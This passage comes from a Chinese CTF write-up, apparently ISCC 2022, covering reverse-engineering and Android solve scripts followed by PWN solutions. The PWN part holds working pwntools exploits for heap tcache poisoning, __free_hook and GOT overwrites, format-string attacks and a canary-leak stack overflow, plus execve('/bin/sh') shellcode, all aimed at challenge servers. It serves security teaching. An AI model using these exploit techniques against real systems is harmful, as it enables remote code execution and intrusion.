    e = (sum >> 2) & 3;
    for ( p = 0; p < n - 1; ++p )
    {
      y = v[p + 1];
      v4 = &v[p];
      *v4 += ((y ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
      z = *v4;
    }
    v5 = &v[n - 1];
    *v5 += ((*v ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * *v) ^ (z >> 5)) + ((*v >> 3) ^ (16 * z)));
  }
}

找一个解密算法

#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(int32_t *v, int n, int32_t const key[4])  
{  
	int32_t y, z, sum;  
	signed p, rounds, e;  
	if (n > 1)            /* Coding Part */  
	{  
		rounds = 6 + 52/n;  
		sum = 0;  
		z = v[n-1];  
		do  
		{  
			sum += DELTA;  
			e = (sum >> 2) & 3;  
			for (p=0; p<n-1; p++)  
			{  
				y = v[p+1];  
				z = v[p] += MX;  
			}  
			y = v[0];  
			z = v[n-1] += MX;  
		}  
		while (--rounds);  
	}  
	else if (n < -1)      /* Decoding Part */  
	{  
		n = -n;  
		rounds = 6 + 52/n;  
		sum = rounds*DELTA;  
		y = v[0];  
		do  
		{  
			e = (sum >> 2) & 3;  
			for (p=n-1; p>0; p--)  
			{  
				z = v[p-1];  
				y = v[p] -= MX;  
			}  
			z = v[n-1];  
			y = v[0] -= MX;  
			sum -= DELTA;  
		}  
		while (--rounds);  
	}  
}  

编写解密脚本即可

#include <stdio.h>  
#include <stdint.h>  
#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(int32_t *v, int n, int32_t const key[4])  
{  
	int32_t y, z, sum;  
	signed p, rounds, e;  
	if (n > 1)            /* Coding Part */  
	{  
		rounds = 6 + 52/n;  
		sum = 0;  
		z = v[n-1];  
		do  
		{  
			sum += DELTA;  
			e = (sum >> 2) & 3;  
			for (p=0; p<n-1; p++)  
			{  
				y = v[p+1];  
				z = v[p] += MX;  
			}  
			y = v[0];  
			z = v[n-1] += MX;  
		}  
		while (--rounds);  
	}  
	else if (n < -1)      /* Decoding Part */  
	{  
		n = -n;  
		rounds = 6 + 52/n;  
		sum = rounds*DELTA;  
		y = v[0];  
		do  
		{  
			e = (sum >> 2) & 3;  
			for (p=n-1; p>0; p--)  
			{  
				z = v[p-1];  
				y = v[p] -= MX;  
			}  
			z = v[n-1];  
			y = v[0] -= MX;  
			sum -= DELTA;  
		}  
		while (--rounds);  
	}  
}  


int main()  
{  
	int32_t v[18];
	v[0] = 2083504789;
	v[1] = 863817516;
	v[2] = -1246907673;
	v[3] = 861360817;
	v[4] = -1944023979;
	v[5] = 71509067;
	v[6] = -305568114;
	v[7] = 1203113234;
	v[8] = 39999966;
	v[9] = 1408413502;
	v[10] = -797353570;
	v[11] = -84516483;
	v[12] = 1904288836;
	v[13] = 1737869011;
	v[14] = 492860697;
	v[15] = 2091909920;
	v[16] = 1335943054;
	v[17] = 125072142;  
	int32_t const k[4]= {0x49, 0x53, 0x43, 0x43};  
	int n= 18; 
    // n的绝对值表示v的长度,取正表示加密,取负表示解密  
	// v为要加密的数据是两个32位无符号整数  
	// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位    
	btea(v, -n, k);  
	printf("解密后的数据:%u %u\n",v[0],v[1]); 
	for(int i=0;i<18;i++){
		printf("%c",v[i]);
	} 
	return 0;  
}

Sad Code

就是喜欢做题,你喜欢做数学题吗?

ida x32 打开,定位到 _main_0F5 查看伪代码。

image-20220507141728609

from z3 import *
#报错的装Z3-solver 不要用z3
v16=[Int("v16%s"%i) for i in range(8)]

s=Solver()

s.add(v16[2] + 7 * v16[1] - 4 * v16[0] - 2 * v16[3] == 0x1F675FCBE)
s.add(5 * v16[3] + 3 * v16[2] - v16[1] - 2 * v16[0] == 0x16ECB525D)
s.add(2 * v16[1] + 8 * v16[3] + 10 * v16[0] - 5 * v16[2] == 0x48AD213F9)
s.add(7 * v16[0] + 15 * v16[1] - 3 * v16[3] - 2 * v16[2] == 0x7AB246ADD)
s.add(15 * v16[4] + 35 * v16[7] - v16[5] - v16[6] == 0xEE83D143C)
s.add(38 * v16[6] + v16[4] + v16[7] - 24 * v16[5] == 0x24FA58FB1)
s.add(38 * v16[5] + 32 * v16[4] - v16[6] - v16[7] == 0x15503BC5DF)
s.add(v16[4] + 41 * v16[6] - v16[5] - 25 * v16[7] == 0x2922F20B4)

v4=[]
if(s.check()==sat):
    m=s.model()
    for i in range(8):
        v4.append(hex(int(str(m[v16[i]])))[2:])
print(v4)

for i in range(8):
    for j in range(4):
        print(chr(int(v4[i][j*2:j*2+2],16)),end="")

Ruststr

图非图,字非字。

ida x64 打开,定位到 iscc_reverse::mainF5 查看伪代码,有个 qmecpy 函数。

image-20220507142403668

放入 base64hex 脚本并 两个 为一节作为 0xXX 格式和第二个脚本的上下数列格式相同

import base64

a=r'5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=='

b=[20,19,12,11, 4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]

for i in b:
    print(a[i],end="")

flag =""

def base64_to_hex(payLoad_base64):
    bytes_out = base64.b64decode(payLoad_base64)
    str_out = bytes_out.hex()
    print("base64_ to_ hex:",str_out)
    print(str_out)
    c = []
    for k in str_out:
        c.append('0x' + str_out[0:2])
        str_out = str_out[2:]
    print(c)
    return str_out

base64_to_hex(a)

然后将结果输入以下

b = [
0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
0x0B, 0xE2
]
c = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba, 0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a, 0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b] # 这里填写是base64解码后的hex 来源是有个qmemcpy函数那里
m = []
for i in range(len(c)):
    m.append(c[i]^b[i])
key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62,
0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64,
0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]
def lll(a,b):
    if a>b:
        return 0
    else:
        return -1
f = ''
for i in range(len(m)):
    for j in range(128):
        if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]:
            f += chr(j)
            print(f)
            break
p = list(f[::-1])
print()
def ppp(num):
    a = num&1
    return a==0
for i in range(len(p)):
    if ord('a')<=ord(p[i])<=ord('z'):
        p[i] = chr(ord(p[i])^0x20)
    elif ord('A')<=ord(p[i])<=ord('Z'):
        p[i] = chr(ord(p[i])^0x20)
    elif ord('0') <=ord(p[i])<=ord('9'):
        a = ord(p[i]) + 1
        b = ord(p[i]) - 1
        if ppp(ord(p[i])):
            p[i] = chr(a)
        else:
            p[i] = chr(b)
    else:
        pass
for i in range(len(p)):
    print(p[i],end='')

GetTheTable

采用正确的解密软件就能快速解密

ida x64打开,直接 F5 查看伪代码

image-20220510144031821

复制出来直接 base58 解密

image-20220510144156739

Bob’s Code

好简单的题目呀!

ida x32 打开,定位到 _main_0F5 查看伪代码

image-20220510143833993

说白了就是 换表

import base64
import string

s='W1BqthGbfhpZcbXjWbhLgG5FoZBBYGRVXhXtf1NRoY5ctGG1XXBMVXtwoF0'#去掉三个.
t = ''
for c in s:
    if 'a' <= c <= 'z':
        t += chr( ord('a') + ((ord(c)-ord('a')) - 2 )%26 )
    elif 'A' <= c <= 'Z':
        t += chr( ord('A') + ((ord(c)-ord('A')) - 2 )%26 )
    else:
        t += c   
print(t) 
t+='='

string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

a=(base64.b64decode(t.translate(str.maketrans(string1,string2))))
print(base64.b64decode(a))

Mobile

MobileA

一道简单的Mobile类型的题目,你能成功闯关吗?

首先用 jadx 打开 apk 文件,定位到 com > example.mobilea > MainActivity

image-20220507193601431

把第 72 行的字符串跑一下

a = r'=1PmCCY=gQbcBQlnngbhpEEA'
b = [20, 19, 12, 11, 4, 3, 21, 18, 13, 10, 5, 2, 22, 17, 14, 9, 6, 1, 23, 16, 15, 8, 7, 0]
for i in b:
    print(a[i], end='')

然后得到的值 base64hex 一下,得到一段md5

image-20220507194026880

解密后得到 flag 的后半部分

image-20220507194057508

第一个箭头加密后是 key , 第二个箭头加密后是 iv ,前两个箭头指的地方,用 base64 加密,记得是“”里面的所有内容,然后第三个地方先 base64 解码一次

image-20220507194306741

from Crypto.Cipher import AES
from base64 import b64decode

cipher = AES.new(b'S0BlMjAyMiUleQ==', AES.MODE_CBC, b'SSZWMjAyMioqKg==')
flag = b64decode('OVV3V3pKSHFjdWlYTG83SWlrdytnb3lsYVpnQXVpb3I3ZVhERnd6NGdRST0=')
print(cipher.decrypt(b64decode(flag)))

得到的内容和前面 md5 解密的字符拼接一下即为 flag

MobileB

小明在学习过程中突然来了兴致,结合自己学习的知识编写了一个经过加密的app,你能从中找到密匙吗?

得到字符串,填入下面的exp中,

image-20220508164409145

import re
import sys
import math
from ast import Str

def sum(i, i2,i3):
    for i4 in range(0,6):
        d = i2
        d2 = i
        d3 = i4
        if (d <= pow(2.0, d3) + d2):
            if (d != pow(2.0, d3) + d2):
                d4 = i4 - 1
                return sum((int)(d2 + pow(2.0, d4)), i2, i3 + 1) + ((int)(d4 * pow(10.0, i3)))
            elif i4 == 0:
                return (int)(pow(10.0, i3) * 5.0)
            else:
                return (int)(d3 * pow(10.0, i3))
    return -1;

def strRe(uStr):
    sys.setrecursionlimit(2000000000)
    strlist = []
    for i1 in range(1, 27):
        a = sum(0, i1, 0)
        strlist.append(str(a))
    ia = uStr
    strlist1 = [x for x in ia.split('0') if x != '']
    strResult = ''
    for i in strlist1:
        strResult += chr(strlist.index(i)+65)
    return strResult

def soFlag(strResult):
    sss='''1:<EWXYZQKLDMNPFGHASTUIJBOCRV<2:<OPQRBXFMNYZGHISCKTUVWAJDEL<3:<IJCDEFQKLUVWAXYZGHMOPBNRST<4:<NOPGZLMAQEFBCHIJKDRSTUVWXY<5:<FAEJKLMZBCQRSDTUNOPGHIVWXY<6:<YZPRBQKLGMNWXASTVHEFIJUOCD<7:<OPQUVRSJDEHWACKTZGMNYIBXFL<8:<VWNRDEFPQSTAXGHLUMOIJCKYZB<9:<EHIGZLMAQRJKDXYFBCNOPUVWST<10:<LMRSAZQEJVWKBCDTUFOPGHIXNY<11:<NWIUOCLGMVHXASTYZJDBQKPREF<12:<KTZUVEHIOPNCBWAYXFDRSJGMQL<
    '''
    m = strResult
    content=re.findall(r'<(.*?)<',sss,re.S)
    iv=[0x00000003,0x0000000c,0x00000006,0x00000008,0x00000007,0x00000002,0x00000004,0x0000000B,0x00000001,0x00000005,0x00000009,0x0000000A]
    vvv=[]
    ans=""
    for i in range(12):
        index=content[iv[i]-1].index(m[i])
        vvv.append(index)
    for i in range(0,24):
        flag=""
        for j in range(12):
            flag+=content[iv[j]-1][(vvv[j]+i)%26]
        if 'FLAG' in flag:
            print(flag)

if __name__ == '__main__':
    uStr = '5340512305240513012402051205053014053405120'
    a = strRe(uStr)
    b = soFlag(a)

然后使用压缩软件打开apk文件提取 lib\x86_64\libmobileb.so 文件

image-20220508165010016

使用 ida x64 搜索字符串(shift+f12)找到 十二个 地址相连的 等长字符串 填入上方·的位置。再把上一步得到的字符串填入。运行脚本找到开头为FLAG的字符串,flag就是ISCC(得到的字符串}

image-20220508165147452

MobileC

so 文件 getkey 函数断点调试,得到 aes_key,然后分析 so 文件里的 GetStr 的加密逻辑,爆破就行

image-20220524082928171

image-20220524083215017

八位 一组填到脚本里,爆破的结果 长度最短 的字符串即为flag

import base64
from Crypto.Cipher import AES
enc=[]
import copy
def dfs(s,p):
    if p==6:
        enc.append(s)
        return
    for i in range(p,6):
        s[i],s[p]=s[p],s[i]
        t=copy.deepcopy(s)
        dfs(t,p+1)
        s[i],s[p]=s[p],s[i]
def fun(s):
    s=base64.b64decode(s)
    iv = 'i@S&88CcC.'
    iv = base64.b64encode(iv.encode())
    key = b'QERAPG9dPyZfTC5f'
    aes = AES.new(key, AES.MODE_CBC, iv)
    print(aes.decrypt(s))
dfs([1,2,3,4,5,6],0)
s='xb6LCvY4 ONK/iar= F4YrvRZ= bWZl2Eu= Fs+fVSe= rtODpbc='.split(' ')
for k in enc:
    m=[0]*48
    for i in range(6):
        for j in range(8):
            m[6*j+k[i]-1]=s[i][j]
    check=''.join(m)[-5:]
    if check=='=====':
        fun(''.join(m)[0:44])

PWN

heapheap

遇到不能控制 prev_size 的情况,可以通过 shrink unsorted bin 的方法来将 prev_size 填充成 目标size ,原理是 unsortedbin 合并是有顺序的,合并完会在下个 chunkprev_size 位写入之前的大小,从而在 prev_size 留下 size ,造成 chunk overlap。这道题我们还需要爆破 4bit 申请到 stdout 去泄露 libc

from pwn import *

p = remote("123.57.69.203","5320")
elf = ELF("heapheap")
libc = ELF("./libc-2.27.so")
def dbg():
    gdb.attach(p)
    pause()

s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

hp = 0x2020C0

def add(size,con):
	sla("Please input your choice: ",1)
	sla("Please input the size:",size)
	p.sendafter("Data:",con)

def dele(idx):
	sla("Please input your choice: ",2)
	sla("Please input the index:",idx)


for i in range(6):
	add(0xf8,'a')

add(0xf0,'a')#6
add(0x80,'a')#7
add(0xf0,'a')#8
add(0xf0,'a')#9

for i in range(6):
	dele(i)

dele(9)
dele(6)
dele(7)
dele(8)

for i in range(0,7):
    add(0xf0,'a')

add(0xf0,'a')#9
add(0x80,'a')#8
add(0xf0,'a')#7

for i in range(0,6):
    dele(i)
    
dele(8)
dele(6)
dele(9)
add(0x88,'a'*0x80+p64(0x190))
dele(7)
for i in range(0,7):
    add(0xf0,'a')
    
dele(0)
add(0xf0,'a')
for i in range(0,7):
    dele(i)
add(0x28,'\x60\xe7')
add(0x80,'a')
add(0x80,p64(0xfbad1887)+p64(0)+p64(0)+p64(0)+p8(0x58))
# 0x7ffff79e2000 0x7ffff7dca2a0
libc_base = uu64()-0x3E82A0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
one = libc_base+0x4f432
dele(0)
dele(1)
add(0x20,p64(free_hook))
add(0x20,'a')
add(0x20,p64(one))
dele(7)

p.interactive()

h-o-s

漏洞点如下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx

  setvbuf(stdout, 0LL, 2, 0LL);
  memset(ptr, 0, sizeof(ptr));
  cmd = buf;
  while ( 1 )
  {
    fgets(cmd, 128, stdin);
    if ( !strncmp(cmd, "fill", 4uLL) )
    {
      if ( n > 7 )
      {
        puts("full-|-enough");
      }
      else
      {
        __isoc99_scanf("%d%*c", &size);
        v3 = n;
        ptr[v3] = (char *)malloc(size);         // malloc(-1)返回0,覆盖ptr为0
        fgets(ptr[n], size, stdin);
        ++n;
      }
    }
    else if ( !strncmp(cmd, "get", 3uLL) )
    {
      if ( n < 0 )
      {
        puts("empty-nn-empty");
      }
      else
      {
        puts(ptr[--n]);                         // 越界读-1
        free(ptr[n]);                           // free当前堆块
        ptr[n] = 0LL;
      }
    }
    else
    {
      puts("I don't know---");
    }
  }
}

存在 ptr[-1] 越界,由此可以在 cmd 空间内构造 fakechunk ,而且要保证 putsfree 的参数是可以正常 free 掉的。且只能 free 当前 chunk

cmd 布置 fakechunkfreeunsortedbin 泄露 libc ,再次将 fakechunk 释放到 tcache ,制造 overlap ,然后将freehook 链入 tcache ,打 freehooksystem

# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5820 )
# io = remote('127.0.0.1',49161 )
# libc = ELF('./libc-2.31.so')
# io = process('./hos')
libc = ELF('./libc.so.6')
elf = ELF('./hos')

l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda	a=False		: io.recvline(a)
ru = lambda a,b=True	: io.recvuntil(a,b)
rn = lambda x			: io.recvn(x)
sn = lambda x			: io.send(x)
sl = lambda x			: io.sendline(x)
sa = lambda a,b			: io.sendafter(a,b)
sla = lambda a,b		: io.sendlineafter(a,b)
irt = lambda			: io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s			: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data		: u32(data.ljust(4, '\x00'))
uu64 = lambda data		: u64(data.ljust(8, '\x00'))
ur64 = lambda data		: u64(data.rjust(8, '\x00'))

def add(size,content):
	sl('fill')
	sl(str(size))
	sl(content)
def delete():
	sl('get')

buf = 0x6010a0
cmd = 0x601160

add(0x41,'a')#n =0
# add(0x31,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70)
sl(pay)
sl('get')#n=-1
add(0x81,'a')#n=0
add(0x81,'a')#n=1
add(0x81,'a')#n=2
add(0x81,'a')#n=3
add(0x81,'a')#n=4
add(0x81,'a')#n=5
add(0x81,'a')#n=6
add(0x81,'a')#n=7
delete()
delete()
delete()
delete()
delete()
delete()
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10)
sl(pay)
add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1
delete()#n=0
sl('get')#n=-1
add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0
sl('get')#n=-1
libcbase = l64() -0x3ebca0
lg('libcbase')
freehook = libcbase + libc.symbols['__free_hook']
lg('freehook')
system = libcbase + libc.symbols['system']
lg('system')
add(0x81,'a')#n=0

pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = -1

pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = 0

add(0x81,p64(system))
add(0x41,'/bin/sh\x00')
delete()
# dbg()

irt()

create_id

ida x32 打开,定位到 main 函数

简单的格式化字符串漏洞改写全局变量x,从而执行后门函数。

image-20220525112208330

// 在调用时检测到错误的sp值,输出可能是错误的!

 
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // esi
  int v6; // [esp+0h] [ebp-90h] BYREF
  int i; // [esp+4h] [ebp-8Ch]
  int v8; // [esp+8h] [ebp-88h]
  int v9; // [esp+Ch] [ebp-84h]
  char format[100]; // [esp+10h] [ebp-80h] BYREF
  unsigned int v11; // [esp+74h] [ebp-1Ch]
  int *v12; // [esp+80h] [ebp-10h]

  v12 = &argc;
  v11 = __readgsdword(0x14u);
  init();
  printf("%p\n", &x);
  puts("Guess a integer between 1~20^v^");
  puts("You will get the user id after you finish it.");
  for ( i = 0; i <= 2; ++i )
  {
    v3 = time(0);
    srand(v3);
    v4 = rand() % 10;
    v8 = v4 + rand() % 11 + 1;
    __isoc99_scanf("%d", &v6);
    if ( v8 == v6 )
    {
      printf("Good!");
      putchar(10);
      break;
    }
    puts("incorrect");
  }
  puts("\nWhat's your name?");
  __isoc99_scanf("%s", format);
  v9 = rand() % 100 + 10;
  puts(byte_804A0A3);
  printf("your name is:");
  printf(format);
  if ( x == 9 )
    flag(v12);
  else
    putchar(10);
  printf("your user id is: %d\n", v9);
  return 0;

代码这里引用了 flag 文件,很简单的一个输出和 cat flag

image-20220525112330687

_isoc99_scanf 这个地方需要格外注意,在 pust提示我们需要输入name的时候,我们将内容输出出去。_isoc99_scanf 这里传入参数 a1a2 都是 int 型,返回也是 int 型。

from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote('123.57.69.203',5310)
# p=process('./attachment-31')
x=int(p.recv(10)[2:],16)
print(hex(x))
p.recvuntil('You will get the user id after you finish it.\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
# gdb.attach(proc.pidof(p)[0])
p.recvuntil("What's your name?\n")

payload=fmtstr_payload(10, {x:0x9})#11
p.sendline(payload)
p.interactive()

跳一跳

亲爱的CTFers,题目做累了,让我们离开电脑,一起跳一跳~

保护全开的栈溢出,但是只能溢出 0x18 个字节。 正常情况是要栈迁移的,但是这题能获取靶机使用的 libc 版本,并且能够利用 one_gadget

#!/usr/bin/env python2
# -*- coding: utf-8 -*
import os
from pwn import *
from LibcSearcher import *
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

elf = ELF('./attachment-10')
# context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = remote('123.57.69.203',7020)
payload=flat(['8 '*217,'A'])
se(payload)
ru('\x08'*217)
canary = uu64(rc(7))<<8
stack = uu64(ru('\x7f',drop=False))
info_addr('canary',canary)
info_addr('stack',stack)
payload1 = b'A'*0xD8 + p64(canary)
payload1 += p64(stack) + b'\xA0\x50'
sleep(0.3)
# gdb.attach(p,'b read')
se(payload1)
payload2=flat(['9 '*0xa8,'A'])
sleep(0.3)
se(payload2)
ru('\x09'*0xa8)
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x81150 - 231
one_gadget = libc_base + 0x4f2c5
info_addr('libc_leak',libc_leak)
info_addr('libc_base',libc_base)
payload = b'A'*0xD8 + p64(canary)
payload += p64(stack) + p64(one_gadget)
sleep(0.3)
se(payload)
p.interactive()

untidy_note

这个笔记本不太好使

增删查改四个功能都有。但是增加的堆块大小受到限制,不能超过 31 字节。

漏洞点存在于 deleteedit 功能的函数,存在 UAF 漏洞和 堆溢出 漏洞。

#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from this import d
from pwn import *
from LibcSearcher import *
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

elf = ELF('./untidy_note')
# context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
# p = process('./untidy_note')
# debug()
p = remote('123.57.69.203',7030)
def menu(choice):
    sla('Your choose is:',str(choice))
def add(size):
    menu(1)
    sla('the note size is:',str(size))
def dele(id):
    menu(2)
    sla('index:',str(id))
def edit(id,size,data):
    menu(3)
    sla('index:',str(id))
    sla('the size is:',str(size))
    sea('Content:',data)
def show(id):
    menu(4)
    sla('index:',str(id))
sla('Welcome to use untidy_note,Your name is:','Coldwinds')
for _ in range(30):
    add(0x10)
dele(2)
dele(1)
show(1)
ru('Content:')
heap_addr = uu64(rc(6)) - 0x290
info_addr('Heap',heap_addr)
edit(1,0x10,p64(heap_addr+0x10))
add(0x10)# 28
add(0x10)# 29
edit(29,0x10,p64(0x23333))
edit(2,0x20,p64(0)*3+p32(0x121))
dele(3)
show(3)
ru('Content:')
libc_base = uu64(rc(6)) - 0x3ebca0
info_addr('libc',libc_base)
libc = ELF('./libc-2.27.so')
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
dele(4)
dele(5)
edit(5,0x10,p64(__free_hook))
add(0x10)# 27
add(0x10)# 28
edit(28,0x10,p64(system_addr))
edit(11,0x10,'/bin/sh\0')
dele(11)
p.interactive()

sim_treasure

格式化字符串漏洞挟持,通过 printf 幻术的 got 表,改换 system ,将下一次程序调用printf 的时候传入 ’/bin/sh’ 即可 GetShell

from pwn import *
context.log_level='debug'
io=remote("123.57.69.203",7010)
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
io.recvuntil("Can you find the magic word?\n")
pay = p32(elf.got["puts"])+b"%6$s"
io.sendline(pay)
io.recv(4)
puts_addr = u32(io.recv(4))

printf_got = elf.got['printf']
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
io.sendline("A")

payload1 = fmtstr_payload(6, {printf_got: system_addr})
io.recvuntil("A\n")
io.sendline(payload1)
io.sendline("/bin/sh")
io.interactive();

主函数里面给了个后门

void __cdecl sh(char *c)
{
  system(c);
}

这题就是一个很简单的 堆溢出漏洞 结合 tcache attack ,将包含 cmdfake_chunk 链入 tcache bins ,从而将 cmd 这个指针改为指向 free@got ,进而而改写 got 表。

# coding=utf-8
# *- coding:utf-8 -*-
# from pwn_debug import *
from struct import pack
from pwn import *
import sys;import time;import os
# from LibcSearcher import *
# 设置timeout;sh.timeout = 0.1
context(os="linux", arch="amd64", log_level="debug")
# context(os="linux",arch="i386",log_level="debug")
# context.terminal = ["tmux", "splitw", "-h"] ; context.arch = "amd64" ;
context.log_level="debug" # 暂无这个
# tmux 换到4.7以上再说
filename = "attachment-38"
libcpath = ""
sh = 0
lib = 0
elf = ELF(filename) # local长
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #
# remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec =False)
# libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so")
u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2)/lib/x86_64-linux-gnu/libc.so.6 giantbranch 2.23-0ubuntu10
u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Rencvn 2.27-3ubuntu1.5
u20_local_one = [0xe3b2e,0xe3b31,0xe3b34] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Ln-Pwn 2.31-0ubuntu9.7
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00"))
#bytes ==> int
#常用于调用了ROP输出类函数后,接受并转化为int类型
# uxx( ru("\x7f")[-6:].ljust(8,"\x00") )
leak= lambda name,data :sh.success(name + ": 0x%x" % data)
s = lambda payload :sh.send( payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload :sh.sendline(payload )
sla = lambda a,b :sh.sendlineafter(str (a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda numb=4096 :sh.recv(numb)
# https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e
rl = lambda :sh.recvline()
uu32= lambda data :u32(data.ljust(4, b'\x00'))
uu64= lambda data :u64(data.ljust(8, b'\x00'))
# https://blog.cc arol2358/article/details/106262701
info_addr = lambda tag, addr :sh.info(tag + ': {:#x}'. format(addr))
check = lambda data :"data=",data,"|*|","type=>",type(data)
